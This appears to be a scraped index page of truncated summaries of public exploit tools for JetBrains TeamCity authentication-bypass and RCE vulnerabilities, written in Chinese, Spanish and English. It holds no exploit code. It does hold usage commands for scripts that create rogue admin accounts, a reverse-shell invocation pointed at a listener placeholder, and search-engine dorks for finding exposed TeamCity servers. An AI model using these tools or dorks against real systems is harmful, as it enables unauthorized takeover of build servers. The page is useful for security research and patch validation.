CVE-2023-42793

TeamCity CVE-2023-42793 漏洞利用脚本 此Python脚本利用了JetBrains TeamCity中的一个安全漏洞（CVE-2023-42793），允许攻击者创建一个具有管理员权限的新用户。 使用方法 脚本接受单个TeamCity实例URL或URL列表作为输入。提供的URL应指向存在CVE-2023-42793漏洞的TeamCity服务器。 单个URL: root@kitploit: python exploit.py -u http://teamcity.example.com URL列表: root@kitploit: python exploit.py -l...

CVE-2023-42793

使用方法： 将其保存为 teamcity-admin-creation.nse 并运行： nmap -p 8111 --script teamcity-admin-creation --script-args url=https://target-url...

JetBrains TeamCity > 2023.11.3 - Authentication Bypass

In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible id: CVE-2024-23917 info: name: JetBrains TeamCity 2023.11.3 - Authentication Bypass author: iamnoooob,rootxharsh,pdresearch severity: critical description: | In JetBrains TeamCity before 2023.11.3...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity 2023.05.4 之前的版本存在身份验证绕过漏洞，可导致远程代码执行（RCE） 用法 获取反向 Shell root@kitploit: python3 exploit.py 参考 https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

CVE-2024-27198-RCE

Dork de Mapeo del Ciberespacio Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" Cómo usar Estoy usando Python3.9. root@kitploit: pip install requests urlli...

teamcity-exploit-cve-2023-42793

TeamCity Exploit Cve 2023 42793 一个快速利用 cve-2023-42793 漏洞的脚本。关于该漏洞的更多信息可参见： https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​ https://www.cnblogs.com/LittleHann/p/17843271.html​ 该脚本增加了在触发 RCE 漏洞后自由使用 "params" 执行命令的能力：...

CVE-2024-27198-RCE

网络空间测绘 Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" 使用方法 我正在使用 Python3.9。 root@kitploit: pip install requests urllib3 faker ! 问题 目前存在一些问题： 1. 如果不使...

CVE-2024-27198

CVE-2024-27198 CVE-2024-27198 - JetBrains TeamCity Server 中使用替代路径的身份验证绕过漏洞 更多信息请参考 Rapid7 的博客文章：CVE-2024-27198 和 CVE-2024-27199：JetBrains TeamCity 多个身份验证绕过漏洞 受影响的产品及版本： 产品| 受影响版本 ---|--- TeamCity Server| = 2023.11.3 CVSS： 9.8 正在被积极利用： 是 补丁： 是 缓解措施： 是 实验室环境 你可以使用 Docker 部署 TeamCity 服务器来测试此漏洞利用程序...

CVE-2024-27198

CVE-2024-27198 在 2023.11.4 之前的 JetBrains TeamCity 中存在身份验证绕过漏洞，允许在 TeamCity 服务器上执行管理员操作，攻击者可完全控制所有 TeamCity 项目、构建、代理和构件，最终攻击者将实现远程代码执行（RCE）。 下载 root@kitploit: git clone https://github.com/jrbH4CK/CVE-2024-27198.git cd CVE-2024-27198 PoC 在服务器内创建一个具有管理员权限的账户 root@kitploit: python3 cve-2024-27198.py...

CVE-2023-42793

CVE-2023-42793 描述 JetBrains TeamCity 中的一个安全漏洞允许攻击者创建一个具有管理员权限的新用户（由攻击者指定）。 使用示例 ./cve-2023-42793 http://teamcity.examplewebsite.com username password...

CVE-2026-63077

Ejecución remota de código no autenticada en JetBrains TeamCity CVE-2026-63077 Descripción general Este es un script de prueba de concepto para el CVE-2026-63077. Las organizaciones pueden utilizar este script para validar su postura de detección y remediación. Para un análisis técnico completo d...

CVE-2024-27198

ES GenTeamCityExploit es una herramienta PoC dirigida a una vulnerabilidad en el servidor TeamCity CVE-2024-27198. Permite descubrir una versión de TeamCity y crear un nuevo usuario administrador explotando una falla de omisión de autenticación. Características Extrae la versión del servidor...

CVE-2024-27198-POC

CVE-2024-27198 – Bypass de Autenticación y RCE en JetBrains TeamCity PoC Autor: EynaExp Ámbito: Investigación / Validación Defensiva / Solo Pruebas Autorizadas Resumen Este repositorio contiene un escáner masivo de prueba de concepto dirigido a instancias de JetBrains TeamCity afectadas por...

RCity-CVE-2024-27198

RCity - CVE-2024-27198 RCE y Creación de Cuenta de Administrador y CVE-2024-27199 Omisión de Autenticación Explotando CVE-2024-27198 y CVE-2024-27199 RCity es un script de Python que interactúa con un servidor TeamCity vulnerable. El CVE facilita la creación de cuentas de administrador no...

CVE-2023-42793

关于 CVE-2023-42793 你需要先使用另一个漏洞获取令牌。不过，下面的这个漏洞利用将允许你在Linux服务器上获得RCE（远程代码执行），因为它将payload编码在URL中并发送给服务器。 如何使用 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

pentest_teamcity

使用 Metasploit 对 TeamCity 进行渗透测试 TL;DR: 从JetBrains IDE（例如 IntelliJ 或 PyCharm）获取密码，然后在 TeamCity 持续集成服务器 中使用这些凭据，以利用 metasploit 在服务器和构建代理上获取 meterpreter 会话——作者 Kacper Szurek。 JetBrains 评论 以下是来自供应商（JetBrains TeamCity 团队）的评论，由 Yegor Yarko 提供： 本文的大部分内容描述了恶意用户如何在获得合理权限的情况下滥用 TeamCity。...

CVE-2024-27198-TeamCity

Mitigation methods: regexp on WAF root@kitploit: REQUESTURI Regex ^\S\?jsp=\S;\.jsp...

teamcity-idea-cve-2020-35667-poc

TeamCity IntelliJ IDEA 插件凭据截获（CVE-2020-35667） 快速链接 概念验证报告 | 工作流分析 | 服务器脚本 描述 这是通过构建一个伪造的 XML-RPC TeamCity 端点 来复现 CVE-2020-35667 的演示。 CVE-2020-35667 是 JetBrains TeamCity IntelliJ 插件中的一个 SSRF 漏洞 。 旧版 TeamCity IntelliJ 插件会向服务器请求一个公钥，使用该公钥对密码进行加密，然后将其发送回去。 由于服务器是由攻击者控制的，因此攻击者可以解密并记录明文凭据。 该漏洞由 Jonatha...

CVE-2024-27198-RCE

赛博空间映射 Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" 使用方法 我使用的是 Python3.9。 root@kitploit: pip install requests urllib3 faker python...

CVE-2022-24342

CVE-2022-24342 JetBrains TeamCity - 通过 GitHub 认证中的 CSRF 实现账户接管（PoC） CVE-2022-24342 使用要求 使用方法 工作原理 GitHub OAuth2：查询参数处理顺序 CVE-2022-24342：HTTP 请求流程 使用要求 JetBrains TeamCity 如果在本地机器上运行该漏洞利用工具，你可能需要使用 Ngrok 或替代方案。 root@kitploit: $ ngrok http 8000 2. 创建 GitHub OAuth2 应用： root@kitploit: homepage:...